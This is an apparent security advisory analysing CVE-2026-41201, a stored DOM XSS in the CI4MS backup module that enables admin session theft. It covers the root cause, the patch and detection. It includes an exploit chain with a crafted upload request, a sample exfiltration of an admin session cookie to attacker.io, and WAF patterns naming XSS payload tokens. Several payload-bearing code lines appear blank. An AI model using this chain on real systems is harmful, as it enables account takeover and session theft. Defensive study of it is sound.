home intel cve-2026-41201-ci4ms-stored-xss-privilege-escalation
CVE Analysis 2026-05-07 · 8 min read

CVE-2026-41201: CI4MS Stored DOM XSS to Full Account Takeover

CI4MS 0.31.4.0 backup module unsafely renders SQL filenames, enabling stored DOM XSS via crafted filename fields. Leads to session hijack and full privilege escalation.

#stored-xss#dom-xss#privilege-escalation#account-takeover#backup-module
Technical mode — for security professionals
▶ Privilege escalation — CVE-2026-41201
USER SPACELow privilegeVULNERABILITYCVE-2026-41201 · Cross-platformKERNEL / ROOTFull system accessNo confirmed exploits · CRITICAL

Vulnerability Overview

CVE-2026-41201 is a Stored DOM XSS → Privilege Escalation chain in CI4MS, a CodeIgniter 4-based CMS skeleton targeting production RBAC deployments. The vulnerability lives in the backup module's filename rendering path: when an attacker uploads or manipulates a .sql backup file whose filename contains an HTML/JavaScript payload, that payload is stored unescaped and later reflected into the DOM without sanitization. Any administrator who visits the backup listing page executes the attacker's JavaScript in the context of an authenticated privileged session.

CVSS 9.1 (CRITICAL) is justified: no interaction beyond a low-privileged authenticated account is required to store the payload, and the impact targets the highest-privilege session in the application. Exploitation is fully passive once the payload is placed — the administrator triggers it themselves by navigating to the backup list.

Root cause: The CI4MS backup module renders SQL backup filenames directly into the HTML DOM without output encoding, allowing an attacker to inject and persistently store arbitrary JavaScript that executes in an administrator's browser session.

Affected Component

The vulnerable surface is the backup management module within CI4MS v0.31.4.0 and earlier. The affected rendering occurs in the backup list view template, where filenames retrieved from the backup directory or database record are interpolated raw into the table output. The RBAC module, theme engine, and CodeIgniter 4 core are not themselves vulnerable — the bug is entirely in CI4MS application-layer view code.

Relevant paths in the repository:

  • app/Modules/Backup/Views/index.php — the vulnerable template
  • app/Modules/Backup/Controllers/Backup.php — controller passing unsanitized filename data to view
  • app/Modules/Backup/Models/BackupModel.php — model returning raw filename strings

Root Cause Analysis

CodeIgniter 4's esc() helper exists precisely for this scenario. The CI4MS backup view bypasses it entirely. The controller fetches backup file listings and passes them as raw strings to the view layer. The view then interpolates them with PHP's short echo tag — which does not HTML-encode output by default.


// VULNERABLE: app/Modules/Backup/Controllers/Backup.php
public function index()
{
    $files = $this->backupModel->getBackupList(); // returns raw filenames from DB/filesystem
    $data['backups'] = $files;
    // BUG: no sanitization of filename field before passing to view
    return view('Backup\Views\index', $data);
}

// VULNERABLE: app/Modules/Backup/Views/index.php (simplified)


    // BUG:  emits raw HTML — no esc() wrapper
    
    
    
    
        Download
        Delete
    


The filename value originates from the backup_files database table or a filesystem scan. Either path is attacker-writable: a low-privileged user with access to the backup creation endpoint can submit a crafted SQL file whose name contains the payload, or directly manipulate the filename column if an unvalidated upload path exists. The filename is stored verbatim and later echoed into HTML.


// VULNERABLE: BackupModel — getBackupList()
public function getBackupList(): array
{
    // BUG: returns raw filename column — no encoding, no allowlist validation
    return $this->db->table('backup_files')
                    ->select('id, filename, size, created_at')
                    ->orderBy('created_at', 'DESC')
                    ->get()
                    ->getResultArray();
}

Exploitation Mechanics

The full exploit chain requires a low-privileged authenticated account (any role with backup creation access) and passive administrator interaction.


EXPLOIT CHAIN:

1. Attacker authenticates to CI4MS with a low-privilege account.

2. Attacker crafts a .sql file with a malicious filename:
   Filename: backup_2024.sql
   — or a more complete payload targeting the CSRF token and admin API:
   Filename: x.sql

3. Attacker submits the backup file through the backup creation endpoint:
   POST /backup/create HTTP/1.1
   Content-Type: multipart/form-data; boundary=----Boundary
   ------Boundary
   Content-Disposition: form-data; name="backup_file"; filename="x.sql"
   Content-Type: application/octet-stream
   [SQL content]
   ------Boundary--

4. Server stores the literal filename string in backup_files.filename column:
   INSERT INTO backup_files (filename, size, created_at)
   VALUES ('x.sql', 1024, NOW());

5. Administrator navigates to /backup — the backup list view renders the
   stored filename raw into the HTML table cell. Browser parses 
      .sql                                       
    
    1024
    2024-11-01 12:00:00
  


BROWSER EXECUTION CONTEXT at payload trigger:
  Origin:          https://target.example.com
  Session Cookie:  ci_session=   [HttpOnly? — application dependent]
  CSRF Token:      accessible in DOM of same-origin requests
  Privileges:      superadmin RBAC role
  SameSite:        Lax (default CI4) — same-origin XSS bypasses this entirely

ATTACKER RECEIVES:
  POST https://attacker.io/c
    ?c=ci_session=a3f9d1...  <-- admin session token (if not HttpOnly)
  OR:
  Privilege escalation completes silently server-side via CSRF chain.

Patch Analysis

The fix in v0.31.5.0 applies CodeIgniter 4's built-in esc() output encoding function to all filename fields in the backup view, and adds server-side filename validation in the controller and model layers to reject filenames containing HTML metacharacters before persistence.


// BEFORE (v0.31.4.0 — vulnerable):
// app/Modules/Backup/Views/index.php


// AFTER (v0.31.5.0 — patched):
// esc() invokes htmlspecialchars() with ENT_QUOTES | ENT_SUBSTITUTE, UTF-8


// BEFORE (vulnerable controller — no server-side validation):
public function create()
{
    $filename = $this->request->getFile('backup_file')->getName();
    // BUG: filename stored raw, no character allowlist enforced
    $this->backupModel->save(['filename' => $filename, ...]);
}

// AFTER (patched):
public function create()
{
    $file     = $this->request->getFile('backup_file');
    $filename = $file->getName();

    // PATCH: allowlist validation — only alphanumeric, dash, underscore, dot
    if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $filename)) {
        return redirect()->back()->with('error', 'Invalid backup filename.');
    }

    // PATCH: enforce .sql extension explicitly
    if (strtolower($file->getExtension()) !== 'sql') {
        return redirect()->back()->with('error', 'Only .sql files permitted.');
    }

    $this->backupModel->save(['filename' => $filename, ...]);
}

The patch applies defense in depth correctly: output encoding at the view layer prevents XSS even if malicious data reaches the database, while the input validation layer prevents malicious filenames from being stored at all. Both controls are necessary — output encoding alone could be bypassed by future template changes; input validation alone would need to cover every possible injection vector.

Detection and Indicators

Detecting exploitation attempts in server logs:


INDICATORS OF COMPROMISE:

1. Backup file upload with anomalous filename in access logs:
   POST /backup/create — filename parameter contains: <, >, ", ', &, script, onerror, img

2. Web Application Firewall signatures to add:
   PATTERN: backup_file filename param matching /<[a-z]/i
   PATTERN: filename containing javascript: or data:text/html
   PATTERN: filename length > 64 chars (legitimate backups rarely exceed this)

3. Database audit — query backup_files table:
   SELECT * FROM backup_files WHERE filename REGEXP '[<>"\'&]';
   -- Any result indicates stored payload or attempted injection

4. Admin activity anomalies:
   - Unexpected role promotion events in audit log shortly after backup page visit
   - Outbound HTTP requests from admin browser to unknown domains (if CSP absent)
   - CSRF-protected admin endpoints triggered by GET referrer from /backup

5. CSP violation reports (if Content-Security-Policy deployed):
   {"csp-report":{"blocked-uri":"https://attacker.io/c","violated-directive":"connect-src"}}

Remediation

Immediate: Upgrade to CI4MS v0.31.5.0. If upgrade is not immediately possible, manually apply esc() to every filename output in the backup view templates as an emergency mitigation.

Audit existing data: Run the detection query above. Purge any backup records with HTML metacharacters in the filename column before upgrading — patched output encoding will neutralize stored payloads on render, but the data should be cleaned regardless.

Harden the deployment:

  • Deploy a Content-Security-Policy header restricting script-src to 'self' — eliminates the exfiltration leg of the attack even if XSS fires.
  • Set session.cookie_httponly = true in CI4 config (app/Config/Cookie.php) to prevent cookie theft via document.cookie.
  • Enable CI4's CSRF protection (Config\Security::$tokenName) with SameSite=Strict to raise the bar for the privilege escalation chain.
  • Restrict backup creation to superadmin role only — shrinks the attacker surface to already-privileged accounts.

Engineering controls for CI4 applications generally: Establish a lint rule or CI check that flags bare in view files not wrapped in esc(). CodeIgniter 4's own documentation mandates esc() for all user-influenced output; this vulnerability is a direct consequence of ignoring that guidance in a production CMS skeleton that ships as a starting point for real deployments.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →